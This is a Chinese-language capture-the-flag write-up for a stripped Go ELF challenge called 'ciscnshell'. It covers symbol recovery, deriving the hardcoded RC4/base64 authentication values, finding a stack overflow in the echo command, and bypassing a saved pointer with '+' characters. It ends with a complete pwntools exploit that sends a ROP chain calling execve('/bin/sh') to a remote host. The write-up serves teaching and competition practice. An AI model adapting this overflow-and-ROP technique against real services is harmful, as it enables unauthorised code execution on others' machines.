这是一个用go语言写的elf程序,没有PIE。这也是本蒟蒻第一次解go pwn题,故在此记录以便参考。
而且,这还是一个全部符号表被抠的go elf,直接面对一堆不知名的函数实在有些应付不来,因此在比赛时委托逆向的队友把符号表用工具修复了一下,使用的是bindiff这个工具。修复完成之后大概是这个样子:
虽然没有完全修复,有的函数无法识别,但对于做本题来说已经足够用了。
Step 1:找到main_main
函数
main_main函数是go语言main函数的对应函数,由于go语言经常会创建线程,因此不能从start开始进行分析。本题中IDA并不能识别出main_main函数的位置,因此需要我们通过查找字符串来完成。该字符串就是程序执行一开始所打印的ciscnshell$。
这个字符串也不难找,直接就可以找到。由此可以找到main_main函数。
幸运的是,main_main函数是可以反汇编的,下图中第27行打印的就是字符串ciscnshell$,而sub_4c1900则是我们重点需要关注的函数,这里保存有该题的主要逻辑,但通过反汇编发现这个函数不能完全反汇编出来,因此我们需要通过手撕汇编来梳理逻辑。
Step 2:分析sub_4C1900函数的主要逻辑
这一步也是当时比赛时耗时最长的一步,需要耐心进行分析,不能遗漏任何一个细节,否则都会迎来一段时间的长考而不得其解。
Frag 1:命令处理
上图是进入该函数后看到的一开始的一部分内容,可以看到上面调用了几个go的函数,通过查询相关资料,regexp_compile是进行了一个正则表达式的编译,而这个正则表达式就是" +",即一个或多个空格。下面的regexp_Regexp_ReplaceAllString则是进行了正则的替换,经过调试发现这里是将一个或多个空格替换成一个空格。
然后调用了strings_genSplit函数,这个函数是用来进行字符串切分的,与python中的split功能类似,经过调试发现,这里是通过空格进行切分,即获取命令中的多个以空格分隔开来的字符串,形成一个数据结构。调试发现该数据结构是一个类似于数组的结构,每一个元素的大小为0x10,前8字节保存一个字符串的指针,后8字节保存该字符串的长度。
再往下看,就会发现疑似进行了一些比较。通过调试发现,这是在对输入的第一个字符串进行比较,也就是说,下面就进入了命令匹配的流程。
Frag 2:命令匹配
经过调试发现,上图中有一个与’trec’进行比较的cmp指令,其含义是对第一个参数进行检查,检查其是否是’cert’,也就是说,cert是一个有效的命令。
之后往下继续分析,下面对第一个参数字符串的长度进行比较并进行分支,命令长度大于3时转入loc_4C1BC9处。
在这里,我们还发现了其他命令的匹配,但我们首先还是看cert的处理。如上图所示,这里的命令功能都是通过调试得到的,可以看到这里是直接将要比较的字符串写成指令中的二进制数,在这里经过分析可知第二个参数的内容。调试发现第二个参数的内容为其他值时,cert命令无回显,且输入其他命令都将显示未认证需要认证。这里可知第二个参数的值必须为nAcDsMicN。第二个命令匹配完成后,将跳转到loc_4C1C23处,里面调用了一个函数,进去看看。
上图就是这个函数的内容,可以看到其中使用了rc4加密,并调用了一些函数实现密钥的生成和加密操作。其中需要注意的是里面提到的两个固定值,表示两个字符串片段。经过调试发现,这两个字符串片段会与我们输入的第三个参数相拼接,作为rc4一个函数的参数传入,后生成一个密钥。
再往后看,我们发现了一个比较,这里又是一个写死的字符串,并且有一个与base64加密相关的函数。经过调试发现,这里是将加密后的结果进行了base64编码,然后与代码中固定的base64字符串进行比较。还是调试发现,这里的密钥是不会改变的,这是通过写入不同的第三个参数,在加密后将密文与明文异或后发现的。通过这个不变的密钥和固定的base64值,我们就可以反推出正确的第三个字符串是什么。计算得出,第三个字符串的值应该是S33UAga1n@#!。将这三个字符串都确定后,我们输入尝试,发现输出了上图下方的成功字符串,同时模拟shell的标识符发生了改变,我们也可以使用该程序中定义的其他命令了。该check分析完成。
Frag 3:漏洞挖掘
之后,我们可以对其他命令进行分析。通过分析发现,该程序实现了ls、cd、whoami、cat、echo等指令,其中cat指令被故意修改成只有输入cat flag才会有输出,且输出是假flag。并且ls和cd指令是该程序中真正实现的两个指令,确实能够在目标机器上执行的,但本题中没有用上。真正用上的是echo指令。
那么这个echo指令到底有什么猫腻呢?经过测试发现,输入echo后再输入多个以空格分隔的字符串,回车后显示的结果中会将空格删去。也就是说echo进行了一些处理。当输入的命令中的字符串过长时,该程序会崩溃,说明有潜在的漏洞可以利用。那么我们就来看一下echo命令到底是如何处理的。
echo命令的处理调用了sub_4C1720这个函数。在该函数中,会对输入的字符串进行处理并将其保存到栈上方的某一处地址。然后该函数会进行一个循环,逐字节将处理后的字符串复制到栈上,调试时发现就是在这个循环中执行时,出现了报错SIGSEGV。循环如下图所示。
这个循环中,rax是字符串目前复制到的位置,rbx是原字符串所在的地址,在每一次复制1个字节之前rbx都会从栈上读取,可知在栈上某处保存着原字符串的地址。而其中的movzx edx, byte ptr [rbx+rax]是用来从原字符串中取出一个地址。经过调试发现,在一开始程序会在这里出现读异常,原因是rbx的值出现了错误。为什么会出现错误呢?通过进一步调试发现,原字符串的地址在栈中保存的位置正好就在栈上复制缓冲区的高地址处,当缓冲区溢出时溢出到这里会将地址覆盖,由此便产生了SIGSEGV。如果这里没有这个地址的话,我们就可以一路溢出到返回地址执行ROP命令了。那么这里又应该如何处理这个原字符串地址呢?
需要注意到上图中的4C186D处,这里对读取的一个字节进行了判断,如果这个字节是+的ASCII码,则会跳过不复制到栈,且rax继续增长,那么如果我们在溢出到该地址时后面写8个+,就能够优雅地绕过这个地址,让其不受干扰。
Step 3:编写exp
下面的工作就简单了。通过对输入长度的不断增加进行测试,很容易就能够获取到命令前一部分的内容,这一部分是为了能够将栈的缓冲区填满。然后添加8个加号,再在后面写上填充和ROP,看似就大功告成了。
不过,在调试时发现,只是绕过了地址还不够,地址下方8个字节表示的是复制字符串的总长度,如果这里在覆盖的时候被改小了,那么就会报错显示Index Out Of Bound。因此这里可以选择继续使用+绕过,或者改成一个更大的值也可以。
from pwn import *
context.log_level = 'debug'
# io = process(['./pwn'])
io = remote('123.57.248.214', 29444)
poprdi_ret = 0x444fec
poprsi_ret = 0x41e818
poprdx_ret = 0x49e11d
poprax_ret = 0x40d9e6
syscall = 0x40328c
shell = 0x4A5000
if __name__ == '__main__':
io.sendlineafter(b'ciscnshell$ ', b'cert nAcDsMicN S33UAga1n@#!')
cstr = cyclic(0x200 * 8)
payload = b'echo '
for j in range(64):
payload += cstr[j*8: (j+1)*8]
payload += b' '
payload += b'fff '
payload += b'+' * 8
payload += p64(0x10FF) * 3
payload += p64(poprdi_ret)
payload += p64(0)
payload += p64(poprax_ret)
payload += p64(0)
payload += p64(poprsi_ret)
payload += p64(0x59FE70)
payload += p64(poprdx_ret)
payload += p64(20)
payload += p64(syscall)
payload += p64(poprdi_ret)
payload += p64(0x59FE70)
payload += p64(poprax_ret)
payload += p64(59)
payload += p64(poprsi_ret)
payload += p64(0)
payload += p64(poprdx_ret)
payload += p64(0)
payload += p64(syscall)
# gdb.attach(io, 'b *0x444fec')
# time.sleep(3)
io.sendlineafter(b'# ', payload)
io.send("/bin/sh\x00")
io.interactive()
注意到执行cat flag后不显示假flag,说明已经成功getshell。
本题在比赛时耗时很长,主要是因为在一开始不知道具体漏洞位置时可能会去分析其他的命令,而实际上其他的命令对本题没有什么用处。同时,本题也体现出go符号表的重要性,如果没有符号表,调试的工作量可能要大得多。